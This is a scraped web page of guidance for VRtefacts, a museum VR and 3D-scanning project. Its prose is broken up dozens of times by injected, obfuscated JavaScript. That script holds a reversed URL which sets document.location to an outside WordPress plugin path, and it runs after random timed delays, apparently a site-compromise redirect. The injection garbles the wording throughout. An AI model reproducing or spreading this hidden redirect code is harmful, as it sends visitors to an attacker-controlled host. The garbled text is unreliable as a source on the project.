These instructions are written for people with a base level of VR technical expertise toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to use in collaboration with other decision-makers.
The vision: Decide on your priorities and goals.
The plan: Choose your artefacts and strategies.
The tactile: Scan and/or 3D print your artefacts.
The virtual: Create a VR environment toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to house your VR objects.
The location: Identify and prepare a physical space toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to put it in.
If your institution lacks the necessary expertise, please read through the rest of our toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}documentation toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to see how it has been deployed. If anything such as the stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torytelling or tactile elements catches your attention, we suggest you look at toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()%20*%206)%3B%20if%20(number1%3D%3D3)%7Bvar%20delay%20%3D%2018000%3B%09setTimeout(%24nJe(0)%2C%20delay)%3B%7D%3C%2Fscript%3E” data-mce-placeholder=”1″>ScannerBox (a simple, inexpensive way of creating 3D scans). 3D prints are often easy and relatively inexpensive toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to achieve once scans are made. You may then want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to use our Visitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torBox cards, possibly with the Cartoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dographer app, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to help you generate ideas of your own around stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torytelling and/or 3D prints that suit your needs and resources.
If making a VRtefacts version of your own is truly out of scope but you want the full VR experience, please email jocelyn.spence [AT] nottingham.ac.uk, dimitrios.darzentas [AT] nottingham.ac.uk , or search online for our updated contact information. We are keen toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to try out new versions of VRtefacts in different institutions, so we may be able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to help.